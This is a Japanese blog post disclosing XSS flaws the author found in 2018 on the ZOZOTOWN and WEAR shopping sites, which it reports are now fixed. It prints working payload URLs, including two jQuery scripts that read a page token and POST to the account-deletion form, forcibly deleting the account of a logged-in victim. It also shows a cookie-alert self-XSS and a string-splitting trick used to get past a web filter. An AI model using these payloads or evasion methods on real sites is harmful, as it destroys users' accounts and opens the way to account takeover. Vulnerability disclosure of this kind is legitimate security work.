ZOZOTOWNにあったXSS

![zozo_google.png](https://qiita-image-store.s3.amazonaws.com/0/148619/92a3ecae-42cd-5501-3c9b-56f23862863f.png)
(2018年10月)

## (宇宙よりエンジニアに金かけた方が良いのでは？)
って近所の猫が言ってた。

## XSS

以下のようなURLでXSSができた。

- [http://zozo.jp/search/?sex=kids&dstk='}}; (JavaScript); {{'](http://zozo.jp/search/?sex=kids&dstk='}}; (JavaScript); {{')


画像↑のXSSは以下のような感じでできた。

- http://zozo.jp/search/?sex=kids&dstk='}};$('img').attr('src', 'https://www.google.co.jp/images/branding/googlelogo/2x/googlelogo_color_272x92dp.png');{{'


ログイン中に踏んだら強制退会できたXSS↓

```js
http://zozo.jp/search/?sex=kids&dstk='}};
$.ajax({
    type: 'GET',
    url: 'http://zozo.jp/_member/leave/default.html?',
    success: function(html){
        var token = $(html).find('input[value=Leave]').attr('name');
        var payload = {};
        payload[token] = 'Leave';
        payload['check1'] = 'on';
        payload['check2'] = 'on';
        payload['check3'] = 'on';
        payload['check5'] = 'on';
        payload['check7'] = 'on';
        $.ajax({
            type: 'POST',
            url: 'http://zozo.jp/_member/leave/default.html',
            data: payload
        });
    }
});{{'
```


http://zozo.jp/~ と https://zozo.jp/~ の違いでクロスドメイン制約に引っかかりできなかったが、サイト全体がhttps対応されていたら、メアド強制変更のXSSも組むことができた。
パスワードを忘れた場合は ~ と合わせればアカウントが奪取できるXSSが組めたんじゃないかと思う。

**原因**

htmlにべた書きする形で、\<script>タグの中身をURLから動的に生成していた。
現在は直っている。

---

あとブランド選択ページ (http://zozo.jp/_search/shoplist_pop_all.html?path=%2Fsearch%2F%3Fp%5Fkeyv%3Da%26p%5Fvck%3D1%26ustype%3D1) の検索ボックスに

- ">\<script>alert(document.cookie)\</script>

とか突っ込むとセルフXSSができた。
現在は直っている。

## 感想


- 1個目のXSSはWAF(?)に弾かれたりして↓とかが使えなくてつらかった。
    - \<script> ~、\<img> ~、\<iframe> ~、javascript: ~、onmouseover= ~、&、+、alert()、console.log()、document. ~
    - location. ~ でリダイレクトさせたりすることはできた。
- jQueryを使ってくれていて助かった。
- ~~ZOZOテクノロジーズの方にメールを出したが返事が帰ってこなくて虚しかった。~~
    - → この記事書いた3日後にきた。

## WEAR

![wear.png](https://qiita-image-store.s3.amazonaws.com/0/148619/3d8f4dde-1942-94e2-a436-3c934a9cb97b.png)

知識が貧弱なのでWAF(?)に弾かれてスクリプトは実行できなかったが、↑普通にエスケープが漏れてる。
直した方が良いと思う。


**追記1:**

よくよく見てたらWEARでも普通にXSSできた。
![wear_xss_urlなし.png](https://qiita-image-store.s3.amazonaws.com/0/148619/a0cc4a0f-5e88-5fa8-092a-0fa02f3364d6.png)
(2018年10月)

**追記2:**

WEARのXSS直ってた。
直る前は、以下のようなURLでXSSができた。

- [https://wear.jp/coordinate/?tag_ids=467868&search_word=}; (JavaScript); var b = {'c': '](https://wear.jp/coordinate/?tag_ids=467868&search_word=%257D%253B%2B%2528JavaScript%2529%253B%2Bvar%2Bb%2B%253D%2B%257B%2527c%2527%253A%2B%2527)

画像↑のXSSは以下のような感じでできた。

- [https://wear.jp/coordinate/?tag_ids=467868&search_word=};
var url = \['java', 'script', ':', 'ale', 'rt', '(\`X', 'SS', '\`);'\].join('');
location.href=url;
var b = {'c': '
](https://wear.jp/coordinate/?tag_ids=467868&search_word=};var%20url%20=%20[%27java%27,%20%27script%27,%20%27:%27,%20%27ale%27,%20%27rt%27,%20%27(`X%27,%20%27SS%27,%20%27`);%27].join(%27%27);location.href=url;var%20b%20=%20{%27c%27:%20%27
)


強制退会XSSもできた↓

```js
https://wear.jp/coordinate/?tag_ids=467868&search_word=};
var leaveUrl = ['htt', 'ps://', 'wear.jp/member/edit/leave.html'].join('');
$.ajax({
 type: 'GET',
 url: leaveUrl,
 success: function(html){
 var token = $(html).find('input[name=leaveAgreeKey]').attr('value');
 var payload = {};
 payload['AgreeCheck'] = 1;
 payload['c'] = 'leave_comp';
 payload['leaveAgreeKey'] = token;
 $.ajax({
 type: 'POST',
 url: leaveUrl,
 data: payload
 });
 }
});
var b = {'c': '
```

**追記3:**

海外展開向けのzozo.comの会員登録メールでセルフXSSができた。
文字数制限厳しいしさすがに使い道ないと思うけど。

<img width="1792" alt="スクリーンショット 2018-10-20 21.15.54.png" src="https://qiita-image-store.s3.amazonaws.com/0/148619/b0b3e2a4-a6e1-84ec-7427-e7c44d0ccdcf.png">
<img width="1792" alt="スクリーンショット 2018-10-20 21.16.48.png" src="https://qiita-image-store.s3.amazonaws.com/0/148619/c9d89982-9302-a055-4adb-528dab588a0a.png">
<img width="1792" alt="スクリーンショット 2018-10-20 21.17.33.png" src="https://qiita-image-store.s3.amazonaws.com/0/148619/6a093201-b8f3-ab85-f8ed-1fef1c872ae9.png">
(2018年10月)